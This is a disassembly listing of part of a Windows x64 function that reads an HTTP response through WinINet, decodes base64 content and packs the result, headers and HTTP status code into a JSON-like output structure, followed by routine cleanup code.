xor bl, bl
xor dil, dil
cmp byte [r12 + 8], bl
jne 0x140034ec4
mov rax, r13
jmp 0x140034ed3
lea rdx, [0x14015bcc8]
mov rcx, r12
call fcn.14003d050
mov rcx, rax
call fcn.14003d550
test al, al
je 0x140034f7a
lea rax, [rbp + 0x458]
mov qword [rbp + 0x18], rax
cmp byte [r12 + 8], 0
jne 0x140034efb
mov rax, r13
jmp 0x140034f0a
lea rdx, [0x14015bcd8]
mov rcx, r12
call fcn.14003d050
mov rcx, rax
call fcn.1400032c0
mov rdx, rax
lea rcx, [rbp + 0x458]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140022b50
nop
lea rdx, [0x14015bca8]
lea rcx, [rbp + 0x98]
call fcn.14001b520
test al, al
je 0x140034f4d
mov bl, 1
jmp 0x140034f6e
lea rdx, str.binary
lea rcx, [rbp + 0x98]
call fcn.14001b520
movzx edi, dil
test al, al
mov eax, 1
cmovne edi, eax
lea rcx, [rbp + 0x98]
call fcn.140002350
lea rcx, [rbp - 0x28]
call fcn.140002270
nop
test bl, bl
je 0x14003504c
lea rcx, [rbp - 0x18]
call fcn.140035ab0
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.140035ac0
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x120]
call fcn.140022760
nop
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140002390
nop
lea rcx, [rbp + 0x120]
call fcn.140002350
lea rcx, [rbp + 0x130]
call fcn.14002c010
nop
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.14001b4e0
movzx ebx, al
lea rcx, [rbp + 0x130]
call fcn.140002350
test bl, bl
je 0x14003515a
lea rdx, str.Base64_encdng_error
lea rcx, [rbp + 0x140]
call fcn.140003310
nop
mov rdx, rax
mov rcx, qword [rbp - 0x50]
call fcn.14002f120
mov dword [rsp + 0x44], 1
lea rcx, [rbp + 0x140]
call fcn.140002350
nop
lea rcx, [rbp - 0x28]
call fcn.140002350
nop
lea rcx, [rbp - 0x18]
call fcn.14002e2b0
jmp 0x1400347bd
test dil, dil
jne 0x14003515a
lea rcx, [rbp - 0x18]
call fcn.140035ab0
mov rbx, rax
lea rdx, [rax - 1]
lea rcx, [rbp - 0x18]
call fcn.140035ac0
cmp byte [rax], dil
je 0x14003508f
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x18]
call fcn.1400359b0
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140035ac0
mov byte [rax], dil
lea rcx, [rbp - 0x18]
call fcn.140035ab0
cmp rax, 3
jbe 0x140035126
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.140035ac0
cmp byte [rax], 0xef
jne 0x140035126
mov edx, 1
lea rcx, [rbp - 0x18]
call fcn.140035ac0
cmp byte [rax], 0xbb
jne 0x140035126
mov edx, 2
lea rcx, [rbp - 0x18]
call fcn.140035ac0
cmp byte [rax], 0xbf
jne 0x140035126
lea rdx, [rbp + 0x298]
lea rcx, [rbp - 0x18]
call fcn.1400359a0
mov rcx, rax
mov r8d, 3
lea rdx, [rbp + 0x2e8]
call fcn.140035b60
mov rbx, qword [rax]
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x18]
call fcn.1400359a0
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 0x18]
call fcn.140035ad0
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.140035ac0
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140003310
nop
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.140002390
nop
lea rcx, [rbp + 0x150]
call fcn.140002350
xor bl, bl
cmp byte [r12 + 8], bl
jne 0x140035168
mov rax, r13
jmp 0x140035177
lea rdx, [0x14015bd10]
mov rcx, r12
call fcn.14003d050
mov rcx, rax
call fcn.14003d550
test al, al
je 0x14003529d
lea rax, [rbp + 0x3b8]
mov qword [rbp + 0xb8], rax
cmp byte [r12 + 8], 0
jne 0x1400351a2
mov rax, r13
jmp 0x1400351b1
lea rdx, [0x14015bce8]
mov rcx, r12
call fcn.14003d050
mov rcx, rax
call fcn.1400032c0
mov rdx, rax
lea rcx, [rbp + 0x3b8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140022b50
nop
lea rcx, [rbp + 0x48]
call fcn.14000f3f0
test al, al
jne 0x140035294
test dil, dil
je 0x14003525c
mov qword [rbp + 0xa8], r15
lea rcx, [rbp + 0x48]
call fcn.1400032c0
mov rdx, rax
lea r8, [0x14015af14]
lea rcx, [rbp + 0xa8]
call fcn.1400d65e0
test eax, eax
jne 0x140035294
mov rdi, qword [rbp + 0xa8]
test rdi, rdi
je 0x140035294
lea rcx, [rbp - 0x18]
call fcn.140035ab0
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.140035ac0
mov rcx, rax
mov r9, rdi
mov r8, rbx
mov edx, 1
call fcn.1400d6a14
mov rcx, qword [rbp + 0xa8]
call fcn.1400d5870
mov bl, 1
jmp 0x140035294
lea rax, [rbp + 0x160]
mov qword [rbp + 0xb8], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x160]
call fcn.1400032d0
nop
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14002d850
movzx ebx, bl
test al, al
mov eax, 1
cmovne ebx, eax
lea rcx, [rbp + 0x48]
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0xd8]
call fcn.14003c080
nop
mov dl, 1
lea rcx, [rbp + 0x280]
call fcn.14003c290
nop
lea rdx, str.result
lea rcx, [rbp + 0xd8]
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x280]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x280]
call fcn.14003c410
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x28]
call fcn.14002b1d0
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x4f8]
call fcn.140022bf0
nop
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.14003c1f0
nop
lea rdx, str.content
lea rcx, [rbp + 0xd8]
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x2a0]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x2a0]
call fcn.14003c410
nop
lea rcx, [rbp + 0x4f8]
call fcn.1400013b0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x578]
call fcn.140022bf0
nop
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14003c1f0
nop
lea rdx, [0x14015bd20]
lea rcx, [rbp + 0xd8]
call fcn.14003ce40
mov rcx, rax
lea rdx, str.headers
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x2d0]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14003c410
nop
lea rcx, [rbp + 0x578]
call fcn.1400013b0
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x518]
call fcn.140022bf0
nop
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.14003c1f0
nop
lea rdx, str.additionalInfo
lea rcx, [rbp + 0xd8]
call fcn.14003ce40
mov rcx, rax
lea rdx, str.httpCode
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x2f0]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x2f0]
call fcn.14003c410
nop
lea rcx, [rbp + 0x518]
call fcn.1400013b0
lea rdx, str.empty
lea rcx, [rbp + 0x558]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.14003c1f0
nop
lea rdx, str.noData
lea rcx, [rbp + 0xd8]
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x320]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x320]
call fcn.14003c410
nop
lea rcx, [rbp + 0x558]
call fcn.1400013b0
cmp byte [r12 + 8], 0
je 0x1400354a6
lea rdx, str.outputFile
mov rcx, r12
call fcn.14003d050
mov r13, rax
mov rcx, r13
call fcn.14003d550
test al, al
je 0x140035536
movzx edx, bl
lea rcx, [rbp + 0x340]
call fcn.14003c290
nop
lea rdx, str.outputFi
lea rcx, [rbp + 0x5d8]
call fcn.140001370
nop
lea r8, str.leResult
mov rdx, rax
lea rcx, [rbp + 0x598]
call fcn.140035c10
nop
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.14003d150
mov rcx, rax
lea rdx, [rbp + 0x340]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x598]
call fcn.1400013b0
nop
lea rcx, [rbp + 0x5d8]
call fcn.1400013b0
nop
lea rcx, [rbp + 0x340]
call fcn.14003c410
lea rdx, [rbp + 0xd8]
mov rcx, qword [rbp - 0x50]
call fcn.14003c2b0
mov dword [rsp + 0x44], 1
lea rcx, [rbp + 0xd8]
call fcn.14003c410
jmp 0x140035034
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.14002e7e0
test al, al
jne 0x1400355b2
mov ecx, dword [0x1401d5d60]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x141
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.1400d2e28
mov rcx, rax
call fcn.1400d3f08
cmp byte [rsp + 0x40], 0
je 0x1400355c3
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.InternetReadFile_Failed
lea rcx, [rbp + 0x18]
call fcn.140003310
nop
mov rdx, rax
mov rcx, qword [rbp - 0x50]
call fcn.14002f120
mov dword [rsp + 0x44], 1
lea rcx, [rbp + 0x18]
call fcn.140002350
nop
lea rcx, [rbp - 0x18]
call fcn.14002e2b0
jmp 0x1400347bd
mov ecx, 0x80004005
call fcn.140001920
nop
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x140035626
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rbp + 0x608]
mov qword [rbp + 0x600], rax
mov r8d, 3
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp + 0x600]
call fcn.14001b880
nop
mov rcx, qword [rbp + 0x600]
call fcn.1400d49f8
mov edx, eax
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14002f370
mov dword [rsp + 0x44], 1
lea rax, [rbp + 0x608]
mov rcx, qword [rbp + 0x600]
cmp rcx, rax
je 0x140035686
call fcn.1400d4328
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003569f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400356b8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400356d2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400356ec
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035706
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003571f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035738
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035751
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003576b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140035784
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003579d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, rbx
mov rcx, qword [rbp + 0x18b0]
xor rcx, rsp
call fcn.1400d37e0
movaps xmm6, xmmword [rsp + 0x19c0]
add rsp, 0x19d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret